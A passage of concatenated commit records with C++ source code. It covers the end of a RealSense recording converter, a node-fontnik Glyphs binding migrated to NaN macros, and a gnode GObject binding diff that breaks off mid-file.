(outputFilenameBin.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_bin>(\n outputFilenameBin.getValue()));\n }\n\n if (converters.empty() && !outputFilenamePly.isSet())\n {\n throw runtime_error(\"output not defined\");\n }\n\n unsigned long long first_frame = 0;\n unsigned long long last_frame = 0;\n uint64_t start_time = 0;\n uint64_t end_time = 0;\n\n if (frameNumberStart.isSet())\n {\n first_frame = stoi(frameNumberStart.getValue());\n }\n if (frameNumberEnd.isSet())\n {\n last_frame = stoi(frameNumberEnd.getValue());\n }\n if (startTime.isSet())\n {\n start_time = (uint64_t) (SECONDS_TO_NANOSECONDS * (std::strtod( startTime.getValue().c_str(), nullptr )));\n }\n if (endTime.isSet())\n {\n end_time = (uint64_t) (SECONDS_TO_NANOSECONDS * (std::strtod( endTime.getValue().c_str(), nullptr )));\n }\n\n \/\/in order to convert frames into ply we need synced depth and color frames, \n \/\/therefore we use pipeline\n if (outputFilenamePly.isSet()) {\n\n \/\/ Since we are running in blocking \"non-real-time\" mode,\n \/\/ we don't want to prevent process termination if some of the frames\n \/\/ did not find a match and hence were not serviced\n auto pipe = std::shared_ptr<rs2::pipeline>(\n new rs2::pipeline(), [](rs2::pipeline*) {});\n\n plyconverter = make_shared<rs2::tools::converter::converter_ply>(\n outputFilenamePly.getValue());\n\n rs2::config cfg;\n cfg.enable_device_from_file(inputFilename.getValue());\n pipe->start(cfg);\n\n auto device = pipe->get_active_profile().get_device();\n rs2::playback playback = device.as<rs2::playback>();\n playback.set_real_time(false);\n\n auto duration = playback.get_duration();\n int progress = 0;\n auto frameNumber = 0ULL;\n\n rs2::frameset frameset;\n uint64_t posCurr = playback.get_position();\n\n \/\/ try_wait_for_frames will keep repeating the last frame at the end of the file,\n \/\/ so we need to exit the look in some other way!\n while (pipe->try_wait_for_frames(&frameset, 1000))\n {\n int posP = static_cast<int>(posCurr * 100. \/ duration.count());\n if (posP > progress)\n {\n progress = posP;\n cout << posP << \"%\" << \"\\r\" << flush;\n }\n\n frameNumber = frameset[0].get_frame_number();\n\n bool process_frame = true;\n if (frameNumberStart.isSet() && frameNumber < first_frame)\n process_frame = false;\n else if (frameNumberEnd.isSet() && frameNumber > last_frame)\n process_frame = false;\n else if (startTime.isSet() && posCurr < start_time)\n process_frame = false;\n else if (endTime.isSet() && posCurr > end_time)\n process_frame = false;\n \n if( process_frame )\n {\n plyconverter->convert(frameset);\n plyconverter->wait();\n }\n\n auto posNext = playback.get_position();\n\n \/\/ NOTE: posNext will be 0 if there is no next frame!\n if( posNext < posCurr )\n break;\n posCurr = posNext;\n }\n }\n\n \/\/ for every converter other than ply,\n \/\/ we get the frames from playback sensors \n \/\/ and convert them one by one\n if( ! converters.empty() )\n {\n rs2::context ctx;\n auto playback = ctx.load_device(inputFilename.getValue());\n playback.set_real_time(false);\n std::vector<rs2::sensor> sensors = playback.query_sensors();\n std::mutex mutex;\n\n auto duration = playback.get_duration();\n int progress = 0;\n uint64_t posCurr = playback.get_position();\n\n for (auto sensor : sensors)\n {\n if (!sensor.get_stream_profiles().size())\n {\n continue;\n }\n\n sensor.open(sensor.get_stream_profiles());\n sensor.start([&](rs2::frame frame)\n {\n std::lock_guard<std::mutex> lock(mutex);\n\n auto frameNumber = frame.get_frame_number();\n\n if (frameNumberStart.isSet() && frameNumber < first_frame)\n return;\n if (frameNumberEnd.isSet() && frameNumber > last_frame)\n return;\n if (startTime.isSet() && posCurr < start_time)\n return;\n if (endTime.isSet() && posCurr > end_time)\n return;\n\n for_each(converters.begin(), converters.end(),\n [&frame](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n converter->convert(frame);\n });\n\n for_each(converters.begin(), converters.end(),\n [](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n converter->wait();\n });\n });\n\n }\n\n \/\/we need to clear the output of ply progress (\"100%\") before writing\n \/\/the progress of the other converters in the same line\n cout << \"\\r \\r\";\n\n while (true)\n {\n int posP = static_cast<int>(posCurr * 100. \/ duration.count());\n\n if (posP > progress)\n {\n progress = posP;\n cout << posP << \"%\" << \"\\r\" << flush;\n }\n\n const uint64_t posNext = playback.get_position();\n if (posNext < posCurr)\n {\n break;\n }\n posCurr = posNext;\n }\n\n for (auto sensor : sensors)\n {\n if (!sensor.get_stream_profiles().size())\n {\n continue;\n }\n sensor.stop();\n sensor.close();\n }\n }\n\n cout << endl;\n\n \/\/print statistics for ply converter. \n if (outputFilenamePly.isSet()) {\n cout << plyconverter->get_statistics() << endl;\n }\n\n for_each(converters.begin(), converters.end(),\n [](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n cout << converter->get_statistics() << endl;\n });\n\n\n return EXIT_SUCCESS;\n}\ncatch (const rs2::error & e)\n{\n cerr << \"RealSense error calling \" << e.get_failed_function()\n << \"(\" << e.get_failed_args() << \"):\\n \" << e.what() << endl;\n\n return EXIT_FAILURE;\n}\ncatch (const exception & e)\n{\n cerr << e.what() << endl;\n return EXIT_FAILURE;\n}\ncatch (...)\n{\n cerr << \"some error\" << endl;\n return EXIT_FAILURE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ fontnik\n#include <node_fontnik\/glyphs.hpp>\n\n\/\/ node\n#include <node_buffer.h>\n#include <nan.h>\n\nnamespace node_fontnik\n{\n\nstruct RangeBaton {\n v8::Persistent<v8::Function> callback;\n Glyphs *glyphs;\n std::string fontstack;\n std::string range;\n std::vector<std::uint32_t> chars;\n bool error;\n std::string error_name;\n};\n\nv8::Persistent<v8::FunctionTemplate> Glyphs::constructor;\n\nGlyphs::Glyphs() : node::ObjectWrap() {\n glyphs = fontnik::Glyphs();\n}\n\nGlyphs::Glyphs(const char *data, size_t length) : node::ObjectWrap() {\n glyphs = fontnik::Glyphs(data, length);\n}\n\nGlyphs::~Glyphs() {}\n\nvoid Glyphs::Init(v8::Handle<v8::Object> target) {\n v8::HandleScope scope;\n\n v8::Local<v8::FunctionTemplate> tpl = NanNew<v8::FunctionTemplate>(New);\n v8::Local<v8::String> name = NanNew<v8::String>(\"Glyphs\");\n\n constructor = v8::Persistent<v8::FunctionTemplate>::New(tpl);\n\n \/\/ node::ObjectWrap uses the first internal field to store the wrapped pointer.\n constructor->InstanceTemplate()->SetInternalFieldCount(1);\n constructor->SetClassName(name);\n\n \/\/ Add all prototype methods, getters and setters here.\n NODE_SET_PROTOTYPE_METHOD(constructor, \"serialize\", Serialize);\n NODE_SET_PROTOTYPE_METHOD(constructor, \"range\", Range);\n\n \/\/ This has to be last, otherwise the properties won't show up on the\n \/\/ object in JavaScript.\n target->Set(name, constructor->GetFunction());\n}\n\nv8::Handle<v8::Value> Glyphs::New(const v8::Arguments& args) {\n if (!args.IsConstructCall()) {\n return NanThrowTypeError(\"Constructor must be called with new keyword\");\n }\n if (args.Length() > 0 && !node::Buffer::HasInstance(args[0])) {\n return NanThrowTypeError(\"First argument may only be a buffer\");\n }\n\n Glyphs* glyphs;\n\n if (args.Length() < 1) {\n glyphs = new Glyphs();\n } else {\n v8::Local<v8::Object> buffer = args[0]->ToObject();\n glyphs = new Glyphs(node::Buffer::Data(buffer), node::Buffer::Length(buffer));\n }\n\n glyphs->Wrap(args.This());\n\n return args.This();\n}\n\nbool Glyphs::HasInstance(v8::Handle<v8::Value> val) {\n if (!val->IsObject()) return false;\n return constructor->HasInstance(val->ToObject());\n}\n\nv8::Handle<v8::Value> Glyphs::Serialize(const v8::Arguments& args) {\n v8::HandleScope scope;\n std::string serialized = node::ObjectWrap::Unwrap<Glyphs>(args.This())->glyphs.Serialize();\n return scope.Close(node::Buffer::New(serialized.data(), serialized.length())->handle_);\n}\n\nv8::Handle<v8::Value> Glyphs::Range(const v8::Arguments& args) {\n v8::HandleScope scope;\n\n \/\/ Validate arguments.\n if (args.Length() < 1 || !args[0]->IsString()) {\n return NanThrowTypeError(\"fontstack must be a string\");\n }\n\n if (args.Length() < 2 || !args[1]->IsString()) {\n return NanThrowTypeError(\"range must be a string\");\n }\n\n if (args.Length() < 3 || !args[2]->IsArray()) {\n return NanThrowTypeError(\"chars must be an array\");\n }\n\n if (args.Length() < 4 || !args[3]->IsFunction()) {\n return NanThrowTypeError(\"callback must be a function\");\n }\n\n v8::String::Utf8Value fontstack(args[0]->ToString());\n v8::String::Utf8Value range(args[1]->ToString());\n v8::Local<v8::Array> charsArray = v8::Local<v8::Array>::Cast(args[2]);\n v8::Local<v8::Function> callback = v8::Local<v8::Function>::Cast(args[3]);\n\n unsigned array_size = charsArray->Length();\n std::vector<std::uint32_t> chars;\n for (unsigned i=0; i < array_size; i++) {\n chars.push_back(charsArray->Get(i)->IntegerValue());\n }\n\n Glyphs *glyphs = node::ObjectWrap::Unwrap<Glyphs>(args.This());\n\n RangeBaton* baton = new RangeBaton();\n baton->callback = v8::Persistent<v8::Function>::New(callback);\n baton->glyphs = glyphs;\n baton->fontstack = *fontstack;\n baton->range = *range;\n baton->chars = chars;\n\n uv_work_t *req = new uv_work_t();\n req->data = baton;\n\n int status = uv_queue_work(uv_default_loop(), req, AsyncRange, (uv_after_work_cb)RangeAfter);\n assert(status == 0);\n\n NanReturnUndefined();\n}\n\nvoid Glyphs::AsyncRange(uv_work_t* req) {\n RangeBaton* baton = static_cast<RangeBaton*>(req->data);\n\n try {\n baton->glyphs->glyphs.Range(baton->fontstack, baton->range, baton->chars);\n } catch(const std::runtime_error &e) {\n baton->error = true;\n baton->error_name = e.what();\n return;\n }\n}\n\nvoid Glyphs::RangeAfter(uv_work_t* req) {\n v8::HandleScope scope;\n RangeBaton* baton = static_cast<RangeBaton*>(req->data);\n\n const unsigned argc = 1;\n\n v8::TryCatch try_catch;\n\n if (baton->error) {\n v8::Local<v8::Value> argv[argc] = { v8::Exception::Error(v8::String::New(baton->error_name.c_str())) };\n baton->callback->Call(v8::Context::GetCurrent()->Global(), argc, argv);\n } else {\n v8::Local<v8::Value> argv[argc] = { v8::Local<v8::Value>::New(v8::Null()) };\n baton->callback->Call(v8::Context::GetCurrent()->Global(), argc, argv);\n }\n\n if (try_catch.HasCaught()) {\n node::FatalException(try_catch);\n }\n\n baton->callback.Dispose();\n\n delete baton;\n delete req;\n}\n\n} \/\/ ns node_fontnik\n<commit_msg>More NaN<commit_after>\/\/ fontnik\n#include <node_fontnik\/glyphs.hpp>\n\n\/\/ node\n#include <node_buffer.h>\n#include <nan.h>\n\nnamespace node_fontnik\n{\n\nstruct RangeBaton {\n v8::Persistent<v8::Function> callback;\n Glyphs *glyphs;\n std::string fontstack;\n std::string range;\n std::vector<std::uint32_t> chars;\n bool error;\n std::string error_name;\n};\n\nv8::Persistent<v8::FunctionTemplate> Glyphs::constructor;\n\nGlyphs::Glyphs() : node::ObjectWrap() {\n glyphs = fontnik::Glyphs();\n}\n\nGlyphs::Glyphs(const char *data, size_t length) : node::ObjectWrap() {\n glyphs = fontnik::Glyphs(data, length);\n}\n\nGlyphs::~Glyphs() {}\n\nvoid Glyphs::Init(v8::Handle<v8::Object> target) {\n NanScope();\n\n v8::Local<v8::FunctionTemplate> tpl = NanNew<v8::FunctionTemplate>(New);\n v8::Local<v8::String> name = NanNew<v8::String>(\"Glyphs\");\n\n constructor = v8::Persistent<v8::FunctionTemplate>::New(tpl);\n\n \/\/ node::ObjectWrap uses the first internal field to store the wrapped pointer.\n constructor->InstanceTemplate()->SetInternalFieldCount(1);\n constructor->SetClassName(name);\n\n \/\/ Add all prototype methods, getters and setters here.\n NODE_SET_PROTOTYPE_METHOD(constructor, \"serialize\", Serialize);\n NODE_SET_PROTOTYPE_METHOD(constructor, \"range\", Range);\n\n \/\/ This has to be last, otherwise the properties won't show up on the\n \/\/ object in JavaScript.\n target->Set(name, constructor->GetFunction());\n}\n\nv8::Handle<v8::Value> Glyphs::New(const v8::Arguments& args) {\n if (!args.IsConstructCall()) {\n return NanThrowTypeError(\"Constructor must be called with new keyword\");\n }\n if (args.Length() > 0 && !node::Buffer::HasInstance(args[0])) {\n return NanThrowTypeError(\"First argument may only be a buffer\");\n }\n\n Glyphs* glyphs;\n\n if (args.Length() < 1) {\n glyphs = new Glyphs();\n } else {\n v8::Local<v8::Object> buffer = args[0]->ToObject();\n glyphs = new Glyphs(node::Buffer::Data(buffer), node::Buffer::Length(buffer));\n }\n\n glyphs->Wrap(args.This());\n\n return args.This();\n}\n\nbool Glyphs::HasInstance(v8::Handle<v8::Value> val) {\n if (!val->IsObject()) return false;\n return constructor->HasInstance(val->ToObject());\n}\n\nNAN_METHOD(Glyphs::Serialize) {\n NanScope();\n std::string serialized = node::ObjectWrap::Unwrap<Glyphs>(args.This())->glyphs.Serialize();\n return scope.Close(node::Buffer::New(serialized.data(), serialized.length())->handle_);\n}\n\nNAN_METHOD(Glyphs::Range) {\n NanScope();\n\n \/\/ Validate arguments.\n if (args.Length() < 1 || !args[0]->IsString()) {\n return NanThrowTypeError(\"fontstack must be a string\");\n }\n\n if (args.Length() < 2 || !args[1]->IsString()) {\n return NanThrowTypeError(\"range must be a string\");\n }\n\n if (args.Length() < 3 || !args[2]->IsArray()) {\n return NanThrowTypeError(\"chars must be an array\");\n }\n\n if (args.Length() < 4 || !args[3]->IsFunction()) {\n return NanThrowTypeError(\"callback must be a function\");\n }\n\n v8::String::Utf8Value fontstack(args[0]->ToString());\n v8::String::Utf8Value range(args[1]->ToString());\n v8::Local<v8::Array> charsArray = v8::Local<v8::Array>::Cast(args[2]);\n v8::Local<v8::Function> callback = v8::Local<v8::Function>::Cast(args[3]);\n\n unsigned array_size = charsArray->Length();\n std::vector<std::uint32_t> chars;\n for (unsigned i=0; i < array_size; i++) {\n chars.push_back(charsArray->Get(i)->IntegerValue());\n }\n\n Glyphs *glyphs = node::ObjectWrap::Unwrap<Glyphs>(args.This());\n\n RangeBaton* baton = new RangeBaton();\n baton->callback = v8::Persistent<v8::Function>::New(callback);\n baton->glyphs = glyphs;\n baton->fontstack = *fontstack;\n baton->range = *range;\n baton->chars = chars;\n\n uv_work_t *req = new uv_work_t();\n req->data = baton;\n\n int status = uv_queue_work(uv_default_loop(), req, AsyncRange, (uv_after_work_cb)RangeAfter);\n assert(status == 0);\n\n NanReturnUndefined();\n}\n\nvoid Glyphs::AsyncRange(uv_work_t* req) {\n RangeBaton* baton = static_cast<RangeBaton*>(req->data);\n\n try {\n baton->glyphs->glyphs.Range(baton->fontstack, baton->range, baton->chars);\n } catch(const std::runtime_error &e) {\n baton->error = true;\n baton->error_name = e.what();\n return;\n }\n}\n\nvoid Glyphs::RangeAfter(uv_work_t* req) {\n NanScope();\n RangeBaton* baton = static_cast<RangeBaton*>(req->data);\n\n const unsigned argc = 1;\n\n v8::TryCatch try_catch;\n v8::Local<v8::Context> ctx = NanGetCurrentContext();\n\n if (baton->error) {\n v8::Local<v8::Value> argv[argc] = { v8::Exception::Error(NanNew<v8::String>(baton->error_name.c_str())) };\n baton->callback->Call(ctx->Global(), argc, argv);\n } else {\n v8::Local<v8::Value> argv[argc] = { v8::Local<v8::Value>::New(NanNull()) };\n baton->callback->Call(ctx->Global(), argc, argv);\n }\n\n if (try_catch.HasCaught()) {\n node::FatalException(try_catch);\n }\n\n baton->callback.Dispose();\n\n delete baton;\n delete req;\n}\n\n} \/\/ ns node_fontnik\n<|endoftext|>"} {"text":"<commit_before>\n#include \"function.h\"\n#include \"value.h\"\n#include \"closure.h\"\n#include \"gi.h\"\n#include \"gobject.h\"\n#include \"debug.h\"\n\nusing namespace v8;\n\nnamespace GNodeJS {\n\nstatic G_DEFINE_QUARK(gnode_js_object, gnode_js_object);\nstatic G_DEFINE_QUARK(gnode_js_template, gnode_js_template);\n\nstatic bool InitGParameterFromProperty(GParameter *parameter,\n void *klass,\n Handle<String> name,\n Handle<Value> value) {\n String::Utf8Value name_str (name);\n GParamSpec *pspec = g_object_class_find_property (G_OBJECT_CLASS (klass), *name_str);\n if (pspec == NULL)\n return false;\n\n parameter->name = pspec->name;\n g_value_init (¶meter->value, G_PARAM_SPEC_VALUE_TYPE (pspec));\n V8ToGValue (¶meter->value, value);\n return true;\n}\n\nstatic bool InitGParametersFromProperty(GParameter **parameters_p,\n int *n_parameters_p,\n void *klass,\n Handle<Object> property_hash) {\n Local<Array> properties = property_hash->GetOwnPropertyNames ();\n int n_parameters = properties->Length ();\n GParameter *parameters = g_new0 (GParameter, n_parameters);\n\n for (int i = 0; i < n_parameters; i++) {\n Local<Value> name = properties->Get (i);\n Local<Value> value = property_hash->Get (name);\n\n if (!InitGParameterFromProperty (¶meters[i], klass, name->ToString (), value))\n return false;\n }\n\n *parameters_p = parameters;\n *n_parameters_p = n_parameters;\n return true;\n}\n\nstatic void ToggleNotify(gpointer user_data, GObject *gobject, gboolean toggle_down);\n\nstatic void AssociateGObject(Isolate *isolate, Handle<Object> object, GObject *gobject) {\n object->SetAlignedPointerInInternalField (0, gobject);\n\n g_object_ref_sink (gobject);\n g_object_add_toggle_ref (gobject, ToggleNotify, NULL);\n\n Persistent<Object> *persistent = new Persistent<Object>(isolate, object);\n g_object_set_qdata (gobject, gnode_js_object_quark (), persistent);\n}\n\nstatic void GObjectConstructor(const FunctionCallbackInfo<Value> &args) {\n Isolate *isolate = args.GetIsolate ();\n\n \/* The flow of this function is a bit twisty.\n\n * There's two cases for when this code is called:\n * user code doing `new Gtk.Widget({ ... })`, and\n * internal code as part of WrapperFromGObject, where\n * the constructor is called with one external. *\/\n\n if (!args.IsConstructCall ()) {\n THROW(Exception::TypeError, \"Not a construct call.\");\n return;\n }\n\n Handle<Object> self = args.This ();\n\n if (args[0]->IsExternal ()) {\n \/* The External case. This is how WrapperFromGObject is called. *\/\n\n void *data = External::Cast (*args[0])->Value ();\n GObject *gobject = G_OBJECT (data);\n\n AssociateGObject (isolate, self, gobject);\n } else {\n \/* User code calling `new Gtk.Widget({ ... })` *\/\n\n GObject *gobject;\n GIBaseInfo *info = (GIBaseInfo *) External::Cast (*args.Data ())->Value ();\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n void *klass = g_type_class_ref (gtype);\n\n GParameter *parameters = NULL;\n int n_parameters = 0;\n\n if (args[0]->IsObject ()) {\n Local<Object> property_hash = args[0]->ToObject ();\n\n if (!InitGParametersFromProperty (¶meters, &n_parameters, klass, property_hash)) {\n THROW(Exception::TypeError, \"Unable to make GParameters.\");\n goto out;\n }\n }\n\n gobject = (GObject *) g_object_newv (gtype, n_parameters, parameters);\n AssociateGObject (isolate, self, gobject);\n\n out:\n g_free (parameters);\n g_type_class_unref (klass);\n }\n}\n\nstatic void SignalConnectInternal(const FunctionCallbackInfo<Value> &args, bool after) {\n Isolate *isolate = args.GetIsolate ();\n GObject *gobject = GObjectFromWrapper (args.This ());\n\n String::Utf8Value signal_name (args[0]->ToString ());\n Handle<Function> callback = Local<Function>::Cast (args[1]->ToObject ());\n GClosure *gclosure = MakeClosure (isolate, callback);\n\n ulong handler_id = g_signal_connect_closure (gobject, *signal_name, gclosure, after);\n args.GetReturnValue ().Set(Integer::NewFromUnsigned (isolate, handler_id));\n}\n\nstatic void SignalConnect(const FunctionCallbackInfo<Value> &args) {\n SignalConnectInternal (args, false);\n}\n\nstatic Handle<FunctionTemplate> GetBaseClassTemplate(Isolate *isolate) {\n Local<FunctionTemplate> tpl = FunctionTemplate::New (isolate);\n Handle<ObjectTemplate> proto = tpl->PrototypeTemplate ();\n proto->Set (String::NewFromUtf8 (isolate, \"connect\"), FunctionTemplate::New (isolate, SignalConnect)->GetFunction ());\n return tpl;\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGI(Isolate *isolate, GIBaseInfo *info);\n\nstatic void ClassDestroyed(const WeakCallbackData<FunctionTemplate, GIBaseInfo> &data) {\n GIBaseInfo *info = data.GetParameter ();\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n\n void *type_data = g_type_get_qdata (gtype, gnode_js_template_quark ());\n assert (type_data != NULL);\n Persistent<FunctionTemplate> *persistent = (Persistent<FunctionTemplate> *) type_data;\n delete persistent;\n\n g_type_set_qdata (gtype, gnode_js_template_quark (), NULL);\n g_base_info_unref (info);\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplate(Isolate *isolate, GIBaseInfo *info, GType gtype) {\n void *data = g_type_get_qdata (gtype, gnode_js_template_quark ());\n\n if (data) {\n Persistent<FunctionTemplate> *persistent = (Persistent<FunctionTemplate> *) data;\n Handle<FunctionTemplate> tpl = Handle<FunctionTemplate>::New (isolate, *persistent);\n return tpl;\n } else {\n \/\/printf(\"\\x1b[38;5;201mGetClassTemplate \\x1b[93m%lu\\x1b[0m %s \\n\", gtype, g_type_name(gtype));\n \/\/const char *class_name = g_base_info_get_name (info);\n const char *class_name = g_type_name (gtype);\n\n Handle<FunctionTemplate> tpl = FunctionTemplate::New (isolate, GObjectConstructor, External::New (isolate, info));\n tpl->SetClassName (String::NewFromUtf8 (isolate, class_name));\n tpl->InstanceTemplate ()->SetInternalFieldCount (1);\n\n Persistent<FunctionTemplate> *persistent = new Persistent<FunctionTemplate>(isolate, tpl);\n persistent->SetWeak (g_base_info_ref (info), ClassDestroyed);\n g_type_set_qdata (gtype, gnode_js_template_quark (), persistent);\n\n GIObjectInfo *parent_info = g_object_info_get_parent (info);\n if (parent_info) {\n Handle<FunctionTemplate> parent_tpl = GetClassTemplateFromGI (isolate, (GIBaseInfo *) parent_info);\n tpl->Inherit (parent_tpl);\n } else {\n tpl->Inherit (GetBaseClassTemplate (isolate));\n }\n\n return tpl;\n }\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGI(Isolate *isolate, GIBaseInfo *info) {\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n return GetClassTemplate (isolate, info, gtype);\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGType(Isolate *isolate, GType gtype) {\n GIRepository *repo = g_irepository_get_default ();\n GIBaseInfo *info = g_irepository_find_by_gtype (repo, gtype);\n while (info == NULL) {\n gtype = g_type_parent(gtype);\n info = g_irepository_find_by_gtype (repo, gtype);\n }\n return GetClassTemplate (isolate, info, gtype);\n}\n\nHandle<Function> MakeClass(Isolate *isolate, GIBaseInfo *info) {\n Handle<FunctionTemplate> tpl = GetClassTemplateFromGI (isolate, info);\n return tpl->GetFunction ();\n}\n\nstatic void ObjectDestroyed(const WeakCallbackData<Object, GObject> &data) {\n GObject *gobject = data.GetParameter ();\n\n void *type_data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n assert (type_data != NULL);\n Persistent<Object> *persistent = (Persistent<Object> *) type_data;\n delete persistent;\n\n \/* We're destroying the wrapper object, so make sure to clear out\n * the qdata that points back to us. *\/\n g_object_set_qdata (gobject, gnode_js_object_quark (), NULL);\n\n g_object_unref (gobject);\n}\n\nstatic void ToggleNotify(gpointer user_data, GObject *gobject, gboolean toggle_down) {\n void *data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n assert (data != NULL);\n\n Persistent<Object> *persistent = (Persistent<Object> *) data;\n\n if (toggle_down) {\n \/* We're dropping from 2 refs to 1 ref. We are the last holder. Make\n * sure that that our weak ref is installed. *\/\n persistent->SetWeak (gobject, ObjectDestroyed);\n } else {\n \/* We're going from 1 ref to 2 refs. We can't let our wrapper be\n * collected, so make sure that our reference is persistent *\/\n persistent->ClearWeak ();\n }\n}\n\nHandle<Value> WrapperFromGObject(Isolate *isolate, GIBaseInfo *info, GObject *gobject) {\n void *data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n\n if (data) {\n \/* Easy case: we already have an object. *\/\n Persistent<Object> *persistent = (Persistent<Object> *) data;\n Handle<Object> obj = Handle<Object>::New (isolate, *persistent);\n return obj;\n } else {\n GType type = G_OBJECT_TYPE(gobject);\n const char *name = G_OBJECT_TYPE_NAME(gobject);\n \/\/GTypePlugin *plugin = g_type_get_plugin(type);\n void *klass = g_type_class_ref (type);\n\n DEBUG(\"GObject: %s \\n\", name);\n printf(\"\\x1b[38;5;202mclass: %s \\x1b[0;93m %lu \\x1b[0m\\n\",\n G_OBJECT_CLASS_NAME (klass),\n G_OBJECT_CLASS_TYPE (klass) );\n print_type(type);\n\n if (info != NULL) {\n print_info(info);\n \/\/if (GI_IS_OBJECT_INFO(info)) {\n \/\/GIBaseInfo *class_info = g_object_info_get_class_struct(info);\n \/\/print_info(class_info);\n \/\/g_base_info_unref(class_info);\n \/\/}\n }\n\n Handle<FunctionTemplate> tpl;\n\n tpl = GetClassTemplateFromGType (isolate, type);\n\n Handle<Function> constructor = tpl->GetFunction ();\n Handle<Value> gobject_external = External::New (isolate, gobject);\n Handle<Value> args[] = { gobject_external };\n Handle<Object> obj = constructor->NewInstance (1, args);\n\n \/\/g_base_info_unref(info);\n g_type_class_unref (klass);\n\n return obj;\n }\n}\n\nGObject * GObjectFromWrapper(Handle<Value> value) {\n Handle<Object> object = value->ToObject ();\n void *data = object->GetAlignedPointerFromInternalField (0);\n GObject *gobject = G_OBJECT (data);\n return gobject;\n}\n\n};\n<commit_msg><commit_after>\n#include \"function.h\"\n#include \"value.h\"\n#include \"closure.h\"\n#include \"gi.h\"\n#include \"gobject.h\"\n#include \"debug.h\"\n\nusing namespace v8;\n\nnamespace GNodeJS {\n\nstatic G_DEFINE_QUARK(gnode_js_object, gnode_js_object);\nstatic G_DEFINE_QUARK(gnode_js_template, gnode_js_template);\n\nstatic bool InitGParameterFromProperty(GParameter *parameter,\n void *klass,\n Handle<String> name,\n Handle<Value> value) {\n String::Utf8Value name_str (name);\n GParamSpec *pspec = g_object_class_find_property (G_OBJECT_CLASS (klass), *name_str);\n if (pspec == NULL)\n return false;\n\n parameter->name = pspec->name;\n g_value_init (¶meter->value, G_PARAM_SPEC_VALUE_TYPE (pspec));\n V8ToGValue (¶meter->value, value);\n return true;\n}\n\nstatic bool InitGParametersFromProperty(GParameter **parameters_p,\n int *n_parameters_p,\n void *klass,\n Handle<Object> property_hash) {\n Local<Array> properties = property_hash->GetOwnPropertyNames ();\n int n_parameters = properties->Length ();\n GParameter *parameters = g_new0 (GParameter, n_parameters);\n\n for (int i = 0; i < n_parameters; i++) {\n Local<Value> name = properties->Get (i);\n Local<Value> value = property_hash->Get (name);\n\n if (!InitGParameterFromProperty (¶meters[i], klass, name->ToString (), value))\n return false;\n }\n\n *parameters_p = parameters;\n *n_parameters_p = n_parameters;\n return true;\n}\n\nstatic void ToggleNotify(gpointer user_data, GObject *gobject, gboolean toggle_down);\n\nstatic void AssociateGObject(Isolate *isolate, Handle<Object> object, GObject *gobject) {\n object->SetAlignedPointerInInternalField (0, gobject);\n\n g_object_ref_sink (gobject);\n g_object_add_toggle_ref (gobject, ToggleNotify, NULL);\n\n Persistent<Object> *persistent = new Persistent<Object>(isolate, object);\n g_object_set_qdata (gobject, gnode_js_object_quark (), persistent);\n}\n\nstatic void GObjectConstructor(const FunctionCallbackInfo<Value> &args) {\n Isolate *isolate = args.GetIsolate ();\n\n \/* The flow of this function is a bit twisty.\n\n * There's two cases for when this code is called:\n * user code doing `new Gtk.Widget({ ... })`, and\n * internal code as part of WrapperFromGObject, where\n * the constructor is called with one external. *\/\n\n if (!args.IsConstructCall ()) {\n THROW(Exception::TypeError, \"Not a construct call.\");\n return;\n }\n\n Handle<Object> self = args.This ();\n\n if (args[0]->IsExternal ()) {\n \/* The External case. This is how WrapperFromGObject is called. *\/\n\n void *data = External::Cast (*args[0])->Value ();\n GObject *gobject = G_OBJECT (data);\n\n AssociateGObject (isolate, self, gobject);\n } else {\n \/* User code calling `new Gtk.Widget({ ... })` *\/\n\n GObject *gobject;\n GIBaseInfo *info = (GIBaseInfo *) External::Cast (*args.Data ())->Value ();\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n void *klass = g_type_class_ref (gtype);\n\n GParameter *parameters = NULL;\n int n_parameters = 0;\n\n if (args[0]->IsObject ()) {\n Local<Object> property_hash = args[0]->ToObject ();\n\n if (!InitGParametersFromProperty (¶meters, &n_parameters, klass, property_hash)) {\n THROW(Exception::TypeError, \"Unable to make GParameters.\");\n goto out;\n }\n }\n\n gobject = (GObject *) g_object_newv (gtype, n_parameters, parameters);\n AssociateGObject (isolate, self, gobject);\n\n out:\n g_free (parameters);\n g_type_class_unref (klass);\n }\n}\n\nstatic void SignalConnectInternal(const Nan::FunctionCallbackInfo<v8::Value> &args, bool after) {\n Isolate *isolate = args.GetIsolate ();\n GObject *gobject = GObjectFromWrapper (args.This ());\n\n String::Utf8Value signal_name (args[0]->ToString ());\n Handle<Function> callback = Local<Function>::Cast (args[1]->ToObject ());\n GClosure *gclosure = MakeClosure (isolate, callback);\n\n ulong handler_id = g_signal_connect_closure (gobject, *signal_name, gclosure, after);\n args.GetReturnValue ().Set(Integer::NewFromUnsigned (isolate, handler_id));\n}\n\nNAN_METHOD(SignalConnect) {\n SignalConnectInternal(info, false);\n}\n\nstatic Handle<FunctionTemplate> GetBaseClassTemplate(Isolate *isolate) {\n Local<FunctionTemplate> tpl = FunctionTemplate::New (isolate);\n Nan::SetPrototypeMethod(tpl, \"on\", SignalConnect);\n Nan::SetPrototypeMethod(tpl, \"connect\", SignalConnect);\n Nan::SetPrototypeMethod(tpl, \"addEventListener\", SignalConnect);\n return tpl;\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGI(Isolate *isolate, GIBaseInfo *info);\n\nstatic void ClassDestroyed(const WeakCallbackData<FunctionTemplate, GIBaseInfo> &data) {\n GIBaseInfo *info = data.GetParameter ();\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n\n void *type_data = g_type_get_qdata (gtype, gnode_js_template_quark ());\n assert (type_data != NULL);\n Persistent<FunctionTemplate> *persistent = (Persistent<FunctionTemplate> *) type_data;\n delete 